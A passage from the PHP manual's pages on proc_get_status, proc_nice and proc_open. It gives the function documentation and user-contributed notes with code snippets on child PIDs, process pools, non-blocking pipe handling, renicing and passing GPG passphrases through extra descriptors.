This can manifest itself in many ways but generally the called process will still be running, but just not doing anything as it is blocking on being able to write more to STDERR or STDOUT -- whichever stream buffer is full.

To work around this you should include in your loop of checking proc_get_status' running element a "stream_get_contents" on the relevant pipes.

I generally use stream_set_blocking($pipies[2], 0) kind of calls to make sure that the stream_get_contents call will not block if there is no data in the stream.

This one had me stumped for a while, so hopefully it helps someone!
Mark Seecof 07-Sep-2009 05:36
On Unix/Linux, if you change the command line you pass to proc_open() just slightly then proc_get_status() will give you the actual process-id (pid) of your child.

Suppose you wish to run the external command /usr/bin/compress to create a BSD foo.Z file.  Rather than proc_open("/usr/bin/compress /tmp/foo",...) you may invoke proc_open("exec /usr/bin/compress /tmp/foo",...) and then proc_get_status()['pid'] will be the actual pid of /usr/bin/compress.

Why?  Because the way proc_open() actually works on Unix/Linux is by starting "/bin/sh -c usercmd userargs...", e.g., "/bin/sh -c /usr/bin/compress /tmp/foo".[Note 1]  That means normally your command is the child of the shell, so the pid you retrieve with proc_get_status() is the pid of the shell (PHP's child), and you have to fumble around trying to find the pid of your command (PHP's grandchild).  But if you put "exec" in front of your command, you tell the shell to *replace itself* with your command without starting another process (technically, to exec your command without forking first).  That means your command will inherit the pid of the shell, which is the pid that proc_get_status() returns.

So if you would like the actual pid of the process running your command, just prepend "exec " to  your proc_open() command argument then retrieve the pid using proc_get_status().

This also makes proc_terminate() and proc_close() work more like you might prefer, since they will affect the actual process running your command (which will be a child process rather than a grandchild process).

[Note 1] My guess is that the PHP developers want the shell to expand wildcards in path/filenames.
php dot net at crazedsanity dot com 10-Jul-2009 05:29
For clarification, the "exitcode" is only valid the FIRST TIME IT IS CALLED after the process exits.

If you have a method that polls a spawned process for its status, you *MUST* have that same method capture the exitcode: if the method is called a second time (after realizing the pid is dead) and it hasn't cached that exitcode, it will receive the -1 mentioned.
lytithwyn at gmail dot com 29-Dec-2008 03:51
I have had lots of problems in the past bit trying to kill external commands run by proc_open.

Others have suggested using ps to find the children of the pid returned by proc_get_status, but on my system this doesn't work.  I'm using php-5.2.5 and apache-2.0.59 on linux kernel 2.6.21, and the processes I start with proc_open end up being owned by init (pid 1), not by the pid returned by proc_get_status.

I did notice, however, that the pid's of the processes were always above and very close to the proc_get_status pid.  Using that information, I wrote a little function that takes the name of a command, the starting pid at which to search (which would be the proc_get_status pid), and optionally a search limit as arguments.  It will use ps to list processes owned by apache (you may have to change this user name for your system), and search for the command specified.  The limit tells how far above the starting pid to search.  This will help if the command may have already exited, and you don't want to kill a process from a different session than the one you're working with.

Here's the code:

<?php
function findCommandPID($command, $startpid, $limit = 3)
{
    $ps = `ps -u apache --sort=pid -o comm= -o pid=`;
    $ps_lines = explode("\n", $ps);

    $pattern = "/(\S{1,})(\s{1,})(\d{1,})/";

    foreach($ps_lines as $line)
    {
        if(preg_match($pattern, $line, $matches))
        {
            //this limits us to finding the command within $limit pid's of the parent;
            //eg, if ppid = 245, limit = 3, we won't search past 248
            if($matches[3] > $startpid + $limit)
                break;

            //try to match a ps line where the command matches our search
            //at a higher pid than our parent
            if($matches[1] == $command && $matches[3] > $startpid)
                return $matches[3];
        }
    }

    return false;
}
?>
webmaster at rouen dot fr 09-Jul-2008 10:49
The following function takes an array of shell commands and executes them. It is able to execute up to $nb_max_process at the same time. As soon as one process is terminated, another one is executed. Quite useful if you want to batch process commands on a multi-processor or multi-core environment.

The example below tries to convert to PNG a list of SVG files submitted on the command line (using Inkscape).

(it's quick and dirty but works very well for me)

#!/usr/bin/php
<?php
function pool_execute($commandes,$nb_max_process) {
  $pool=array();
  for($i=0;$i<$nb_max_process;$i++) {
    $pool[$i]=FALSE;
  }

  while(count($commandes)>0) {
    $commande=array_shift($commandes);

    $commande_lancee=FALSE;
    while($commande_lancee==FALSE) {
      usleep(50000);

      for($i=0;$i<$nb_max_process and $commande_lancee==FALSE;$i++) {
        if($pool[$i]===FALSE) {
          $pool[$i]=proc_open($commande,array(),$foo);
          $commande_lancee=TRUE;
        } else {
          $etat=proc_get_status($pool[$i]);
          if($etat['running']==FALSE) {
            proc_close($pool[$i]);
            $pool[$i]=proc_open($commande,array(),$foo);
            $commande_lancee=TRUE;
          }
        }
      }
    }
  }
}

$fichiers=$argv;
array_shift($fichiers);
$commandes=array();
foreach($fichiers as $fichier) {
  $entree=$fichier;
  $sortie=basename($fichier,'.svg').".png";
  $commandes[]='inkscape --file='.escapeshellarg($entree).' --export-area-canvas --export-png='.escapeshellarg($sortie);
}

pool_execute($commandes,4);
strrev xc.noxeh@ellij 05-Jun-2008 10:12
You can NOT rely on pid+1.
You could prefix exec to the command string, this will replace the /bin/sh script with the real thing you want to exec (use only if you don't do 'scary things' like pipes, output redirection, multiple commands, however if you know how they work, go ahead).
If you prefix exec, the /bin/sh process will only start your process, and the PID will be the same.
damien at cyg dot net 13-Jun-2007 03:06
Alternatively, if you're calling a subsequent php script using proc_open, you can have that process echo its own actual PID in the output.
Also, if you go through the /proc filesystem on linux, you can read through /proc/12345 where 12345 is the pid returned by proc_get_status (the pid of the /bin/sh instance) and it will list its child processes within.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 02:16
Further to my previous note, I've found out the PID returned is the PID of the shell (/bin/sh) that then runs the actual command requested.

I've raised this as bug #41003.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 01:58
To the poster above, same here on FreeBSD 6.1, PHP 5.2.1.

To get the correct PID to use for posix_kill I have to add 1 to the PID returned from proc_get_status.


Change the priority of the current process

  • « proc_get_status
  • proc_open »
  • PHP Manual
  • Program execution Functions
  • Change the priority of the current process

proc_nice

(PHP 5)

proc_nice — Change the priority of the current process

Description

bool proc_nice ( int $increment )

proc_nice() changes the priority of the current process by the amount specified in increment. A positive increment will lower the priority of the current process, whereas a negative increment will raise the priority.

proc_nice() is not related to proc_open() and its associated functions in any way.

Parameters

increment

The increment value of the priority change.

Return Values

Returns TRUE on success or FALSE on failure. If an error occurs, like the user lacks permission to change the priority, an error of level E_WARNING is also generated.

Notes

Note: Availability

proc_nice() will only exist if your system has 'nice' capabilities. 'nice' conforms to: SVr4, SVID EXT, AT&T, X/OPEN, BSD 4.3. This means that proc_nice() is not available on Windows.

User Contributed Notes

kevin AT REMOVETHIS mrkmg.com 20-Apr-2013 03:17
On a Linux system, running apache2 as a non-privileged user you can not increase the niceness of the process after decreasing it. Also, you can not use the apache_child_ terminate either. I found the following does work though:

<?php

//decrease niceness
proc_nice(19);

//kill child process to "reset" niceness
posix_kill( getmypid(), 28 );

?>
Marek 19-Jan-2011 05:40
Regarding ionice - on linux the impact of the ionice -c3 class is similar to that of nice, because the CPU "niceness" is taken into account when calculating the io niceness.
php at richardneill dot org 24-Jun-2010 09:14
If a process is reniced, then all its children inherit that niceness. So a PHP script can call proc_nice on itself, then invoke system(), and the command executed via system() will also be niced.

Also worth making a note of ionice. There's no PHP function for this, but it's important. A nice'd program will happily try to chew up all i/o bandwidth with very little CPU usage, it can therefore make the entire computer non-responsive despite the programmer's intention.  Use "ionice -c3"  or see "man ionice"
pandi at home dot pl 25-Nov-2008 02:22
Simple function for check process nice, by default returns nice of current process:

<?php

public static function getProcessNice ($pid = null) {
    if (!$pid) {
        $pid = getmypid ();
    }

    $res = `ps -p $pid -o "%p %n"`;

    preg_match ('/^\s*\w+\s+\w+\s*(\d+)\s+(\d+)/m', $res, $matches);

    return array ('pid' => (isset ($matches[1]) ? $matches[1] : null), 'nice' => (isset ($matches[2]) ? $matches[2] : null));
}

?>
griph at dd dot chalmer dot se 10-Nov-2003 11:34
If you don't have PHP5 and needs to nice your process this works good.

<?php

function proc_nice($priority) {
  exec("renice +$priority ".getmypid());
}

//You also need a shutdown function if you don't want to leave your http deamons with a modified priority
function exit_func(){
  // Restore priority
  proc_nice(0);
}

register_shutdown_function('exit_func');
?>


Execute a command and open file pointers for input/output

  • « proc_nice
  • proc_terminate »
  • PHP Manual
  • Program execution Functions
  • Execute a command and open file pointers for input/output

proc_open

(PHP 4 >= 4.3.0, PHP 5)

proc_open — Execute a command and open file pointers for input/output

Description

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

proc_open() is similar to popen() but provides a much greater degree of control over the program execution.

Parameters

cmd

The command to execute

descriptorspec

An indexed array where the key represents the descriptor number and the value represents how PHP will pass that descriptor to the child process. 0 is stdin, 1 is stdout, while 2 is stderr.

Each element can be:

  • An array describing the pipe to pass to the process. The first element is the descriptor type and the second element is an option for the given type. Valid types are pipe (the second element is either r to pass the read end of the pipe to the process, or w to pass the write end) and file (the second element is a filename).
  • A stream resource representing a real file descriptor (e.g. opened file, a socket, STDIN).

The file descriptor numbers are not limited to 0, 1 and 2 - you may specify any valid file descriptor number and it will be passed to the child process. This allows your script to interoperate with other scripts that run as "co-processes". In particular, this is useful for passing passphrases to programs like PGP, GPG and openssl in a more secure manner. It is also useful for reading status information provided by those programs on auxiliary file descriptors.

pipes

Will be set to an indexed array of file pointers that correspond to PHP's end of any pipes that are created.

cwd

The initial working dir for the command. This must be an absolute directory path, or NULL if you want to use the default value (the working dir of the current PHP process)

env

An array with the environment variables for the command that will be run, or NULL to use the same environment as the current PHP process

other_options

Allows you to specify additional options. Currently supported options include:

  • suppress_errors (windows only): suppresses errors generated by this function when it's set to TRUE
  • bypass_shell (windows only): bypass cmd.exe shell when set to TRUE

Return Values

Returns a resource representing the process, which should be freed using proc_close() when you are finished with it. On failure returns FALSE.

Changelog

Version | Description
5.2.1 | Added the bypass_shell option to the other_options parameter.

Examples

Example #1 A proc_open() example

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0], '<?php print_r($_ENV); ?>');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

The above example will output something similar to:

Array
(
    [some_option] => aeiou
    [PWD] => /tmp
    [SHLVL] => 1
    [_] => /usr/local/bin/php
)
command returned 0

Notes

Note:

Windows compatibility: Descriptors beyond 2 (stderr) are made available to the child process as inheritable handles, but since the Windows architecture does not associate file descriptor numbers with low-level handles, the child process does not (yet) have a means of accessing those handles. Stdin, stdout and stderr work as expected.

Note:

If you only need a uni-directional (one-way) process pipe, use popen() instead, as it is much easier to use.

See Also

  • popen() - Opens process file pointer
  • exec() - Execute an external program
  • system() - Execute an external program and display the output
  • passthru() - Execute an external program and display raw output
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • The backtick operator

User Contributed Notes

sergioshev at gmail dot com 13-Aug-2014 01:38
If you want make use of double pipe. As prove of concept something like this...

"Double pipe example."
cat in_data | cat | cat > out_data

here is an example how to achieve that

<?php

$d2 = array (
  0 => array('pipe','r'),
  1 => array('file','/var/tmp/test_gen_trans.log','w')
);

$proc_2 = proc_open('cat', $d2, $p2);

$d = array(
  0 => array('file','/var/tmp/test.log','r'),
  1 => $p2[0]
);

$proc = proc_open("cat", $d, $p);
proc_close($proc);
proc_close($proc_2);

?>
exel at example dot com 26-Sep-2013 07:05
pipe communications may break brains off. i want to share some stuff to avoid such result.
for proper control of the communications through the "in" and "out" pipes of the opened sub-process, remember to set both of them into non-blocking mode and especially notice that fwrite may return (int)0 but it's not an error, just process might not except input at that moment.

so, let us consider an example of decoding gz-encoded file by using funzip as sub-process: (this is not the final version, just to show important things)

<?php
            // make gz file
            $fd=fopen("/tmp/testPipe", "w");
            for($i=0;$i<100000;$i++)
                fwrite($fd, md5($i)."\n");
            fclose($fd);

            if(is_file("/tmp/testPipe.gz"))
                unlink("/tmp/testPipe.gz");
            system("gzip /tmp/testPipe");

            // open process
            $pipesDescr=array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("file", "/tmp/testPipe.log", "a"),
            );

            $process=proc_open("zcat", $pipesDescr, $pipes);
            if(!is_resource($process)) throw new Exception("popen error");

            // set both pipes non-blocking
            stream_set_blocking($pipes[0], 0);
            stream_set_blocking($pipes[1], 0);

            ////////////////////////////////////////////////////////////////////

            $text="";
            $fd=fopen("/tmp/testPipe.gz", "r");
            while(!feof($fd))
            {
                $str=fread($fd, 16384*4);
                $try=3;
                while($str)
                {
                    $len=fwrite($pipes[0], $str);
                    while($s=fread($pipes[1], 16384*4))
                        $text.=$s;

                    if(!$len)
                    {
                        // if yo remove this paused retries, process may fail
                        usleep(200000);
                        $try--;
                        if(!$try)
                            throw new Exception("fwrite error");
                    }
                    $str=substr($str, $len);
                }
                echo strlen($text)."\n";
            }
            fclose($fd);
            fclose($pipes[0]);

            // reading the rest of output stream
            stream_set_blocking($pipes[1], 1);
            while(!feof($pipes[1]))
            {
                $s=fread($pipes[1], 16384);
                $text.=$s;
            }

            echo strlen($text)." / 3 300 000\n";
?>
mcuadros at gmail dot com 05-Apr-2013 07:56
This is a example of how run a command using as output the TTY, just like crontab -e or git commit does.

<?php

$descriptors = array(
        array('file', '/dev/tty', 'r'),
        array('file', '/dev/tty', 'w'),
        array('file', '/dev/tty', 'w')
);

$process = proc_open('vim', $descriptors, $pipes);
michael dot gross at NOSPAM dot flexlogic dot at 04-Jan-2013 05:33
Please note that if you plan to spawn multiple processes you have to save all the results in different variables (in an array for example). If you for example would call $proc = proc_open..... multiple times the script will block after the second time until the child process exits (proc_close is called implicitly).
bilge at boontex dot com 05-Sep-2012 11:56
$cmd can actually be multiple commands by separating each command with a newline. However, due to this it is not possible to split up one very long command over multiple lines, even when using "\\\n" syntax.
devel at romanr dot info 10-Mar-2012 05:04
The call works as should. No bugs.
But. In most cases you won't able to work with pipes in blocking mode.
When your output pipe (process' input one, $pipes[0]) is blocking, there is a case, when you and the process are blocked on output.
When your input pipe (process' output one, $pipes[1]) is blocking, there is a case, when you and the process both are blocked on own input.
So you should switch pipes into NONBLOCKING mode (stream_set_blocking).
Then, there is a case, when you're not able to read anything (fread($pipes[1],...) == "") either write (fwrite($pipes[0],...) == 0). In this case, you better check the process is alive (proc_get_status) and if it still is - wait for some time (stream_select). The situation is truly asynchronous, the process may be busy working, processing your data.
Using shell effectively makes not possible to know whether the command is exists - proc_open always returns valid resource. You may even write some data into it (into shell, actually). But eventually it will terminate, so check the process status regularly.
I would advice not using mkfifo-pipes, because filesystem fifo-pipe (mkfifo) blocks open/fopen call (!!!) until somebody opens other side (unix-related behavior). In case the pipe is opened not by shell and the command is crashed or is not exists you will be blocked forever.
toby at globaloptima dot co dot uk 14-Nov-2011 10:38
If script A is spawning script B and script B pushes a lot of data to stdout without script A consuming that data, script B is likely to hang but the result of proc_get_status on that process seems to continue to indicate it's running.

So either don't write to stdout i the spawned process (I write to log files instead now) or try to read in the stdout in a non-blocking way if your script A is spawning many instances of script B, I couldn't get this second option to work sadly.

PHP 5.3.8 CLI on Windows 7 64.
mattis at xait dot no 03-Feb-2011 04:41
If you are, like me, tired of the buggy way proc_open handles streams and exit codes; this example demonstrate the power of pcntl, posix and some simple output redirection:

<?php
$outpipe = '/tmp/outpipe';
$inpipe = '/tmp/inpipe';
posix_mkfifo($inpipe, 0600);
posix_mkfifo($outpipe, 0600);

$pid = pcntl_fork();

//parent
if($pid) {
    $in = fopen($inpipe, 'w');
    fwrite($in, "A message for the inpipe reader\n");
    fclose($in);

    $out = fopen($outpipe, 'r');
    while(!feof($out)) {
        echo "From out pipe: " . fgets($out) . PHP_EOL;
    }
    fclose($out);

    pcntl_waitpid($pid, $status);

    if(pcntl_wifexited($status)) {
        echo "Reliable exit code: " . pcntl_wexitstatus($status) . PHP_EOL;
    }

    unlink($outpipe);
    unlink($inpipe);
}

//child
else {
    //parent
    if($pid = pcntl_fork()) {
        pcntl_exec('/bin/sh', array('-c', "printf 'A message for the outpipe reader' > $outpipe 2>&1 && exit 12"));
    }

    //child
    else {
        pcntl_exec('/bin/sh', array('-c', "printf 'From in pipe: '; cat $inpipe"));
    }
}
?>

Output:

From in pipe: A message for the inpipe reader
From out pipe: A message for the outpipe reader
Reliable exit code: 12
php at keith tyler dot com 16-Apr-2010 08:32
Interestingly enough, it seems you actually have to store the return value in order for your streams to exist. You can't throw it away.

In other words, this works:

<?php
$proc=proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

prints:
foo

but this doesn't work:

<?php
proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

outputs:
Warning: stream_get_contents(): <n> is not a valid stream resource in Command line code on line 1

The only difference is that in the second case we don't save the output of proc_open to a variable.
Matou Havlena - matous at havlena dot net 14-Apr-2010 10:03
There is some smart object Processes Manager which i have created for my application. It can control the maximum of simultaneously running processes.

Proccesmanager class:
<?php
class Processmanager {
    public $executable = "C:\\www\\_PHP5_2_10\\php";
    public $root = "C:\\www\\parallelprocesses\\";
    public $scripts = array();
    public $processesRunning = 0;
    public $processes = 3;
    public $running = array();
    public $sleep_time = 2;

    function addScript($script, $max_execution_time = 300) {
        $this->scripts[] = array("script_name" => $script,
                            "max_execution_time" => $max_execution_time);
    }

    function exec() {
        $i = 0;
        for(;;) {
        // Fill up the slots
        while (($this->processesRunning<$this->processes) and ($i<count($this->scripts))) {
        echo "<span style='color: orange;'>Adding script: ".$this->scripts[$i]["script_name"]."</span><br />";
        ob_flush();
        flush();
        $this->running[] =& new Process($this->executable, $this->root, $this->scripts[$i]["script_name"], $this->scripts[$i]["max_execution_time"]);
        $this->processesRunning++;
        $i++;
        }

        // Check if done
        if (($this->processesRunning==0) and ($i>=count($this->scripts))) {
            break;
        }
        // sleep, this duration depends on your script execution time, the longer execution time, the longer sleep time
      sleep($this->sleep_time);

      // check what is done
        foreach ($this->running as $key => $val) {
                if (!$val->isRunning() or $val->isOverExecuted()) {
            if (!$val->isRunning()) echo "<span style='color: green;'>Done: ".$val->script."</span><br />";
            else echo "<span style='color: red;'>Killed: ".$val->script."</span><br />";
                    proc_close($val->resource);
                    unset($this->running[$key]);
                    $this->processesRunning--;
            ob_flush();
            flush();
                }
            }
        }
    }
}
?>

Process class:
<?php
class Process {
    public $resource;
    public $pipes;
    public $script;
    public $max_execution_time;
    public $start_time;

    function __construct(&$executable, &$root, $script, $max_execution_time) {
        $this->script = $script;
        $this->max_execution_time = $max_execution_time;
        $descriptorspec    = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'w')
        );
        $this->resource    = proc_open($executable." ".$root.$this->script, $descriptorspec, $this->pipes, null, $_ENV);
        $this->start_time = mktime();
    }

    // is still running?
    function isRunning() {
        $status = proc_get_status($this->resource);
        return $status["running"];
    }

    // long execution time, proccess is going to be killer
    function isOverExecuted() {
        if ($this->start_time+$this->max_execution_time<mktime()) return true;
        else return false;
    }

}
?>

Example of using:
<?php
$manager = new Processmanager();
$manager->executable = "C:\\www\\_PHP5_2_10\\php";
$manager->path = "C:\\www\\parallelprocesses\\";
$manager->processes = 3;
$manager->sleep_time = 2;
$manager->addScript("script1.php", 10);
$manager->addScript("script2.php");
$manager->addScript("script3.php");
$manager->addScript("script4.php");
$manager->addScript("script5.php");
$manager->addScript("script6.php");
$manager->exec();
?>

And possible output:

Adding script: script1.php
Adding script: script2.php
Adding script: script3.php
Done: script2.php
Adding script: script4.php
Killed: script1.php
Done: script3.php
Done: script4.php
Adding script: script5.php
Adding script: script6.php
Done: script5.php
Done: script6.php
Luceo 28-Mar-2010 04:39
It seems that stream_get_contents() on STDOUT blocks infinitly under Windows when STDERR is filled under some circumstances.

The trick is to open STDERR in append mode ("a"), then this will work, too.

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'a') // stderr
);
?>
cbn at grenet dot org 18-Dec-2009 04:30
Display output (stdout/stderr) in real time, and get the real exit code in pure PHP (no shell workaround!). It works well on my machines (debian mostly).

#!/usr/bin/php
<?php
/*
 * Execute and display the output in real time (stdout + stderr).
 *
 * Please note this snippet is prepended with an appropriate shebang for the
 * CLI. You can re-use only the function.
 *
 * Usage example:
 * chmod u+x proc_open.php
 * ./proc_open.php "ping -c 5 google.fr"; echo RetVal=$?
 */
define(BUF_SIZ, 1024);        # max buffer size
define(FD_WRITE, 0);        # stdin
define(FD_READ, 1);        # stdout
define(FD_ERR, 2);        # stderr

/*
 * Wrapper for proc_*() functions.
 * The first parameter $cmd is the command line to execute.
 * Return the exit code of the process.
 */
function proc_exec($cmd)
{
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );

    $ptr = proc_open($cmd, $descriptorspec, $pipes, NULL, $_ENV);
    if (!is_resource($ptr))
        return false;

    while (($buffer = fgets($pipes[FD_READ], BUF_SIZ)) != NULL
            || ($errbuf = fgets($pipes[FD_ERR], BUF_SIZ)) != NULL) {
        if (!isset($flag)) {
            $pstatus = proc_get_status($ptr);
            $first_exitcode = $pstatus["exitcode"];
            $flag = true;
        }
        if (strlen($buffer))
            echo $buffer;
        if (strlen($errbuf))
            echo "ERR: " . $errbuf;
    }

    foreach ($pipes as $pipe)
        fclose($pipe);

    /* Get the expected *exit* code to return the value */
    $pstatus = proc_get_status($ptr);
    if (!strlen($pstatus["exitcode"]) || $pstatus["running"]) {
        /* we can trust the retval of proc_close() */
        if ($pstatus["running"])
            proc_terminate($ptr);
        $ret = proc_close($ptr);
    } else {
        if ((($first_exitcode + 256) % 256) == 255
                && (($pstatus["exitcode"] + 256) % 256) != 255)
            $ret = $pstatus["exitcode"];
        elseif (!strlen($first_exitcode))
            $ret = $pstatus["exitcode"];
        elseif ((($first_exitcode + 256) % 256) != 255)
            $ret = $first_exitcode;
        else
            $ret = 0; /* we "deduce" an EXIT_SUCCESS ;) */
        proc_close($ptr);
    }

    return ($ret + 256) % 256;
}

/* __init__ */
if (isset($argv) && count($argv) > 1 && !empty($argv[1])) {
    if (($ret = proc_exec($argv[1])) === false)
        die("Error: not enough FD or out of memory.\n");
    elseif ($ret == 127)
        die("Command not found (returned by sh).\n");
    else
        exit($ret);
}
?>
simeonl at dbc dot co dot nz 04-Mar-2009 03:39
Note that when you call an external script and retrieve large amounts of data from STDOUT and STDERR, you may need to retrieve from both alternately in non-blocking mode (with appropriate pauses if no data is retrieved), so that your PHP script doesn't lock up. This can happen if you waiting on activity on one pipe while the external script is waiting for you to empty the other, e.g:

<?php
$read_output = $read_error = false;
$buffer_len  = $prev_buffer_len = 0;
$ms          = 10;
$output      = '';
$read_output = true;
$error       = '';
$read_error  = true;
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);

// dual reading of STDOUT and STDERR stops one full pipe blocking the other, because the external script is waiting
while ($read_error != false or $read_output != false)
{
    if ($read_output != false)
    {
        if(feof($pipes[1]))
        {
            fclose($pipes[1]);
            $read_output = false;
        }
        else
        {
            $str = fgets($pipes[1], 1024);
            $len = strlen($str);
            if ($len)
            {
                $output .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($read_error != false)
    {
        if(feof($pipes[2]))
        {
            fclose($pipes[2]);
            $read_error = false;
        }
        else
        {
            $str = fgets($pipes[2], 1024);
            $len = strlen($str);
            if ($len)
            {
                $error .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($buffer_len > $prev_buffer_len)
    {
        $prev_buffer_len = $buffer_len;
        $ms = 10;
    }
    else
    {
        usleep($ms * 1000); // sleep for $ms milliseconds
        if ($ms < 160)
        {
            $ms = $ms * 2;
        }
    }
}

return proc_close($process);
?>
snowleopard at amused dot NOSPAMPLEASE dot com dot au 05-Jun-2008 04:46
I managed to make a set of functions to work with GPG, since my hosting provider refused to use GPG-ME.
Included below is an example of decryption using a higher descriptor to push a passphrase.
Comments and emails welcome. :)

<?php
function GPGDecrypt($InputData, $Identity, $PassPhrase, $HomeDir="~/.gnupg", $GPGPath="/usr/bin/gpg") {

    if(!is_executable($GPGPath)) {
        trigger_error($GPGPath . " is not executable",
        E_USER_ERROR);
        die();
    } else {
        // Set up the descriptors
        $Descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w"),
            3 => array("pipe", "r") // This is the pipe we can feed the password into
        );

        // Build the command line and start the process
        $CommandLine = $GPGPath . ' --homedir ' . $HomeDir . ' --quiet --batch --local-user "' . $Identity . '" --passphrase-fd 3 --decrypt -';
        $ProcessHandle = proc_open( $CommandLine, $Descriptors, $Pipes);

        if(is_resource($ProcessHandle)) {
            // Push passphrase to custom pipe
            fwrite($Pipes[3], $PassPhrase);
            fclose($Pipes[3]);

            // Push input into StdIn
            fwrite($Pipes[0], $InputData);
            fclose($Pipes[0]);

            // Read StdOut
            $StdOut = '';
            while(!feof($Pipes[1])) {
                $StdOut .= fgets($Pipes[1], 1024);
            }
            fclose($Pipes[1]);

            // Read StdErr
            $StdErr = '';
            while(!feof($Pipes[2]))    {
                $StdErr .= fgets($Pipes[2], 1024);
            }
            fclose($Pipes[2]);

            // Close the process
            $ReturnCode = proc_close($ProcessHandle);

        } else {
            trigger_error("cannot create resource", E_USER_ERROR);
            die();
        }
    }

    if (strlen($StdOut) >= 1) {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdOut;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr . "\n\nStandard Output Follows:\n\n";
        }
    } else {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdErr;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr;
        }
    }
    return $ReturnValue;
}
?>
radone at gmail dot com 26-May-2008 02:26
To complete the examples below that use proc_open to encrypt a string using GPG, here is a decrypt function:

<?php
function gpg_decrypt($string, $secret) {
    $homedir = ''; // path to you gpg keyrings
    $tmp_file = '/tmp/gpg_tmp.asc' ; // tmp file to write to
    file_put_contents($tmp_file, $string);

    $text = '';
    $error = '';
    $descriptorspec = array(
        0 => array("pipe", "r"),  // stdin
        1 => array("pipe", "w"),  // stdout
        2 => array("pipe", "w")   // stderr ?? instead of a file
        );
    $command = 'gpg --homedir ' . $homedir . ' --batch --no-verbose --passphrase-fd 0 -d ' . $tmp_file . ' ';
    $process = proc_open($command, $descriptorspec, $pipes);
    if (is_resource($process)) {
        fwrite($pipes[0], $secret);
        fclose($pipes[0]);
        while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $text .= $s;
        }
        fclose($pipes[1]);
        // optional:
        while($s= fgets($pipes[2], 1024)) {
          $error .= $s . "\n";
        }
        fclose($pipes[2]);
    }

    file_put_contents($tmp_file, '');

    if (preg_match('/decryption failed/i', $error)) {
        return false;
    } else {
        return $text;
    }
}
?>
jonah at whalehosting dot ca 03-May-2008 07:22
@joachimb: The descriptorspec describes the i/o from the perspective of the process you are opening.  That is why stdin is read: you are writing, the process is reading.  So you want to open descriptor 2 (stderr) in write mode so that the process can write to it and you can read it.  In your case where you want all descriptors to be pipes you should always use:

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'w') // stderr
);
?>

The examples below where stderr is opened as 'r' is a mistake.

I would like to see examples of using higher descriptor numbers than 2.  Specifically GPG as mentioned in the documentation.
joachimb at gmail dot com 30-Apr-2008 05:24
I'm confused by the direction of the pipes. Most of the examples in this documentation opens pipe #2 as "r", because they want to read from stderr. That sounds logical to me, and that's what I tried to do. That didn't work, though. When I changed it to w, as in
<?php
        $descriptorspec = array(
           0 => array("pipe", "r"), // stdin
           1 => array("pipe", "w"), // stdout
           2 => array("pipe", "w") // stderr
        );

        $process = proc_open(escapeshellarg($scriptFile), $descriptorspec, $pipes, $this->wd);
...
        while (!feof($pipes[1])) {
            foreach($pipes as $key =>$pipe) {
                $line = fread($pipe, 128);
                if($line) {
                    print($line);
                    $this->log($line);
                }
            }
            sleep(0.5);
        }
...
?>

everything works fine.
jaroslaw at pobox dot sk 28-Mar-2008 11:15
Some functions stops working proc_open() to me.
This i made to work for me to communicate between two php scripts:

<?php
$abs_path = '/var/www/domain/filename.php';
$spec = array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w"));
$process = proc_open('php '.$abs_path, $spec, $pipes, null, $_ENV);
if (is_resource($process)) {
    # wait till something happens on other side
    sleep(1);
    # send command
    fwrite($pipes[0], 'echo $test;');
    fflush($pipes[0]);
    # wait till something happens on other side
    usleep(1000);
    # read pipe for result
    echo fread($pipes[1],1024).'<hr>';
    # close pipes
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
    $return_value = proc_close($process);
}
?>

filename.php then contains this:

<?php
$test = 'test data generated here<br>';
while(true) {
    # read incoming command
    if($fh = fopen('php://stdin','rb')) {
        $val_in = fread($fh,1024);
        fclose($fh);
    }
    # execute incoming command
    if($val_in)
        eval($val_in);
    usleep(1000);
    # prevent neverending cycle
    if($tmp_counter++ > 100)
        break;
}
?>
chris AT w3style DOT co.uk 22-Feb-2008 11:57
It took me a long time (and three consecutive projects) to figure this out.  Because popen() and proc_open() return valid processes even when the command failed it's awkward to determine when it really has failed if you're opening a non-interactive process like "sendmail -t".

